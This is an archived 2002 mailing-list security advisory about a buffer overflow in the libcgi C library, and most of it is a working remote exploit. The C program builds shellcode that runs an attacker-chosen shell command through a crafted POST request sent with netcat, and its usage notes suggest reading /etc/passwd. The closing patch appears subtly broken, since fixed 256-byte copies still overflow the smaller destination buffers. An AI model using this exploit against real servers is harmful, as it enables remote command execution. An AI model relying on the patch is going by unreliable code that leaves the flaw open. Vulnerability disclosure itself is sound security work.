OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
From: dong-h0un U (xploit_at_hackermail.com)
Date: Wed Nov 27 2002 - 01:05:01 CST

  • Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

            ========================================
            INetCop Security Advisory #2002-0x82-007
            ========================================

    * Title: Remote Frame Pointer Overwrite vulnerability in LIB CGI in Language C.

    0x01. Description

    A simple mode of develop CGI in language C.
    The libcgi package is a library written in pure C for C programmers or,
    programmers with some experience in language C that want development CGI in language C.
    This Project includes two libraries that has example practice to use of the same.
    (libcgi, lib-mysql)

    Vulnerability of problem happens in the 76 line of 'Include/libcgi.h'.
    Let's examine. :-)

        __
        69 void changevalue(char mt[],char *pt)
        70 {
        71 char buffer[256]={'\0'}; // 256
        72 int size=(strlen(pt)); // pt size.
        73 int x,y;
        74 for(x=0,y=0;x<size;x++,y++) // ??
        75 {
        76 buffer[y]=pt[x]; // Here !!
        77 }
        78 strcpy(mt,buffer); // Here's uneasy.
        79 }
        --

    According to use environment of function, can abuse overflow.

    0x02. Vulnerable Packages

    Vendor site: http://www.bigadmin.kit.net/libcgi/

    libcgi-0.1
    -libcgi-0.1.tgz
    +Slackware Linux
    -libcgi-0.1.deb
    +Debian Linux
    libcgi-0.1.rpm
    +RedHat Linux
    -libcgi-0.1.tar.gz
    +SunOS/Solaris
    +Unix
    +Other

    0x03. Exploit

    Good example that prove exploit is attached.
    The CGI program uses changevalue().

    Example CGI Program: /cgi-bin/formtest.cgi

    let's examine source code.

        __
         7 static char Name[32],Email[32],Home[64],Sel[24],Check[16],Radio[16],Comments[256];
               ...
        13 name=getbox("NAME"); changevalue(Name,name);
        14 email=getbox("EMAIL"); changevalue(Email,email);
        15 home=getbox("HOME"); changevalue(Home,home);
        16 sel=getbox("SEL"); changevalue(Sel,sel);
        17 check=getbox("CHECK"); changevalue(Check,check);
        18 radio=getbox("RADIO"); changevalue(Radio,radio);
        19 comments=getbox("COMMENTS"); changevalue(Comments,comments); // Here.
        --

    getbox() function, value input get to user.
    lol, changevalue() is abused. :-)

    This's exploit code that prove.
    Through remote attack, get 'nobody' competence.

    === 0x82-libCGIfpxpl.c ===

    /*
    **
    ** Remote Frame Pointer Overwrite LIB CGI in Language C exploit
    ** by Xpl017Elz in INetCop(c) Security
    **
    ** __
    ** Proof of concept:
    **
    ** bash$ (./0x82-libCGIfpxpl;cat)|nc 0 80
    ** HTTP/1.1 200 OK
    ** Date: Sat, 23 Nov 2002 18:41:14 GMT
    ** Server: Apache/1.3.26 (Unix) PHP/4.1.2
    ** Connection: close
    ** Content-Type: text/html
    **
    ** <html>
    ** <head>
    ** <title>LIB CGI in Language C - Testing "libcgi.h" with Url Encoding -
    ** by Marcos Luiz Onisto , bigadminuol.com.br</title>
    ** ...
    ** 8282828282828282828282828282828282828282828282828282 ...
    ** ...
    **
    ** Happy Exploit !
    **
    ** Linux testsub 2.2.12-20kr #1 Tue Oct 12 16:46:36 KST 1999 i686 unknown
    ** uid=99(nobody) gid=99(nobody) groups=99(nobody)
    **
    ** __
    ** exploit by "you dong-h0un"(Xpl017Elz), <szoahchotmail.com>.
    ** My World: http://x82.i21c.net & http://x82.inetcop.org
    **
    */

    #include <stdio.h>
    #include <getopt.h>

    #define Xpl017Elz x82
    #define BUFSIZE 1024
    #define DCOMM "printf \"\\n\\n\\nHappy Exploit !\\n\\n\";uname -a;id"

    void banrl();
    int main(argc,argv)
        int argc;
        char *argv[];
    {
    #define NOPSH 0xbffffc20
        unsigned long nopsh=NOPSH;
    #define SHADR 0xbffffd60
        unsigned long shadr=SHADR;
        int whtp;
    #define NULLS 0x00000000
        int num_0,num_1,num_2,num_3;
        int num_4,num_5;

        char input_code[]= /* It's true ! */
            "NAME=Xpl017Elz&EMAIL=szoahchotmail.com&HOME=http://x82.inetcop.org&SEL=Music&CHECK=yes&RADIO=very+happy&COMMENTS=";
        char send_code[]=
            "&Submit=Send\n"; /* send */
    #define COMMS 235
        char shc0mm[COMMS]=DCOMM;
        unsigned char x0x[BUFSIZE];
        char x0x2[BUFSIZE];

        int x0x_0_num=NULLS;
        int x0x_1_num=NULLS;
        num_5=num_4=num_3=num_2=num_1=num_0=NULLS;

        memset(x0x,0x00,BUFSIZE);
        memset(x0x2,0x00,BUFSIZE);
        
        while((whtp=getopt(argc,argv,"C:c:S:s:A:a:"))!=EOF)
        {
            switch(whtp)
            {
                case 'C':
                case 'c':
                    if(strlen(optarg)>COMMS)
                    {
                        fprintf(stderr,"\n [-] String Error :-(\n\n");
                        exit(-1);
                    }
                    memset(shc0mm,0x00,COMMS);
                    strncpy(shc0mm,optarg,COMMS);
                    break;
                    
                case 'S':
                case 's':
                    nopsh=strtoul(optarg,NULL,0);
                    break;
                    
                case 'A':
                case 'a':
                    shadr=strtoul(optarg,NULL,0);
                    break;
                    
                case '?':
                    {
                        (void)banrl();
                        fprintf(stderr,"\n Usage: %s -opt args\n",argv[0]);
                        fprintf(stderr,"\n\t-s [addr] - shellcode");
                        fprintf(stderr,"\n\t-a [addr] - &shellcode");
                        fprintf(stderr,"\n\t-c [cmd] - command\n");
                        fprintf(stderr,"\n Example: %s -s %p -a %p -c 'cat /etc/passwd'\n\n",argv[0],nopsh,shadr);
                        exit(0);
                    }
                    break;
            }
        }
        
        //--- make shellcode :-) ---//
        /* This is dong-h0un U style */
        num_1=strlen(shc0mm)+0x0c; num_2=num_1+0x01;
        num_3=num_2+0x04; num_4=num_3+0x04; num_5=num_4+0x04;
        x0x[num_0++]=0xeb; x0x[num_0++]=0x30; x0x[num_0++]=0x5e;
        x0x[num_0++]=0x89; x0x[num_0++]=0x76; x0x[num_0++]=num_2;
        x0x[num_0++]=0x31; x0x[num_0++]=0xc0; x0x[num_0++]=0x88;
        x0x[num_0++]=0x46; x0x[num_0++]=0x08; x0x[num_0++]=0x88;
        x0x[num_0++]=0x46; x0x[num_0++]=0x0b; x0x[num_0++]=0x88;
        x0x[num_0++]=0x46; x0x[num_0++]=num_1;x0x[num_0++]=0x89;
        x0x[num_0++]=0x46; x0x[num_0++]=num_5;x0x[num_0++]=0xb0;
        x0x[num_0++]=0x0b; x0x[num_0++]=0x8d; x0x[num_0++]=0x5e;
        x0x[num_0++]=0x09; x0x[num_0++]=0x89; x0x[num_0++]=0x5e;
        x0x[num_0++]=num_3;x0x[num_0++]=0x8d; x0x[num_0++]=0x5e;
        x0x[num_0++]=0x0c; x0x[num_0++]=0x89; x0x[num_0++]=0x5e;
        x0x[num_0++]=num_4;x0x[num_0++]=0x89; x0x[num_0++]=0xf3;
        x0x[num_0++]=0x8d; x0x[num_0++]=0x4e; x0x[num_0++]=num_2;
        x0x[num_0++]=0x8d; x0x[num_0++]=0x56; x0x[num_0++]=num_5;
        x0x[num_0++]=0xcd; x0x[num_0++]=0x80; x0x[num_0++]=0x31;
        x0x[num_0++]=0xc0; x0x[num_0++]=0xb0; x0x[num_0++]=0x01;
        x0x[num_0++]=0xcd; x0x[num_0++]=0x80; x0x[num_0++]=0xe8;
        x0x[num_0++]=0xcb; x0x[num_0++]=0xff; x0x[num_0++]=0xff;
        x0x[num_0++]=0xff; x0x[num_0++]=0x2f; x0x[num_0++]=0x2f;
        x0x[num_0++]=0x62; x0x[num_0++]=0x69; x0x[num_0++]=0x6e;
        x0x[num_0++]=0x2f; x0x[num_0++]=0x73; x0x[num_0++]=0x68;
        x0x[num_0++]=0x20; x0x[num_0++]=0x2d; x0x[num_0++]=0x63;
        x0x[num_0++]=0x20;
       
        //--- execute formtest.cgi ---//
        fprintf(stdout,"POST /cgi-bin/formtest.cgi HTTP/1.0\n");
        fprintf(stdout,"Connection: close\n");
        fprintf(stdout,"User-Agent: ");

        //--- put shellcode ---//
        for(x0x_0_num=0;x0x_0_num<BUFSIZE/2-strlen(x0x)-strlen(shc0mm);x0x_0_num++)
            fprintf(stdout,"\x90");
        fprintf(stdout,"%s",x0x);
        fprintf(stdout,"%s",shc0mm);

        //--- put &shellcode ---//
        memset(x0x,0x00,BUFSIZE);
        for(x0x_0_num=0;x0x_0_num<BUFSIZE/4;x0x_0_num+=4)
            *(long*)&x0x[x0x_0_num]=nopsh;
        fprintf(stdout,"%s\n",x0x); /* &shellcode */

        //--- set type ---//
        fprintf(stdout,"Host: x82 was here.\n");
        fprintf(stdout,"Content-type: application/x-www-form-urlencoded\n");

        //--- put &(&shellcode) ---//
        memset(x0x,0x00,BUFSIZE);
        for(x0x_0_num=0;x0x_0_num<260;x0x_0_num+=4)
            *(long*)&x0x[x0x_0_num]=shadr; /* &(&shellcode) */
        snprintf(x0x2,BUFSIZE,"%s%s%s",input_code,x0x,send_code);

        //--- size, code send ---//
        fprintf(stdout,"Content-length: %d\n\n",strlen(x0x2));
        fprintf(stdout,"%s\n",x0x2);
        
        /*******************************************************************
          How to exploit?
          
          Use netcat !
          bash$ (./0x82-libCGIfpxpl;cat)|nc 0 80
          
          This is frame pointer overwrite.
          Must investigate all shellcode address and &shellcode address.
          [nop] [shellcode] [&shellcode]
                     ^ | ^
                     | | |
                     +----------+ +------* (-a option).
                     (-s option)

          ex) 0x82828282: 0x90909090 0x90909090 0x90909090 0x90909090
                  ... ... ... ... ...
              0x8282bab0: 0x82828282 0x82828282 0x82828282 0x82828282

          It may be work that is very interesting. :-)
          bash$ (./0x82-libCGIfpxpl -s 0x82828282 -a 0x8282bab0;cat)|nc 0 80
          
          Only, code may create instruction that you want.
          Shellcode does not worry. (-c option)
          bash$ (./0x82-libCGIfpxpl -c "echo 'x82 was here.';";cat)|nc 0 80
         
          ******************************************************************/

    }

    void banrl()
    {
        fprintf(stdout,"\n Remote Frame Pointer Overwrite LIB CGI in Language C exploit");
        fprintf(stdout,"\n by Xpl017Elz in INetCop(c) Security\n");
    }

    === eof ===

    0x04. Patch

    === http.patch ===

    --- libcgi.h Tue Feb 13 22:23:00 1996
    +++ libcgi.patch.h Thu Nov 21 14:01:21 2002
    -69,7 +69,7
     void changevalue(char mt[],char *pt)
     {
        char buffer[256]={'\0'};
    - int size=(strlen(pt));
    + int size=256;//(strlen(pt));
        int x,y;
        for(x=0,y=0;x<size;x++,y++)
        {

    === eof ===

    P.S: Sorry, for my poor english.

    --
    By "dong-houn yoU" (Xpl017Elz), in INetCop(c) Security.
    

    MSN & E-mail: szoahc(at)hotmail(dot)com, xploit(at)hackermail(dot)com

    INetCop Security Home: http://www.inetcop.org (Korean hacking game) My World: http://x82.i21c.net

    GPG public key: http://wizard.underattack.co.kr/~x82/h0me/pr0file/x82.k3y --

    -- Get your free email from http://www.hackermail.com

    Powered by Outblaze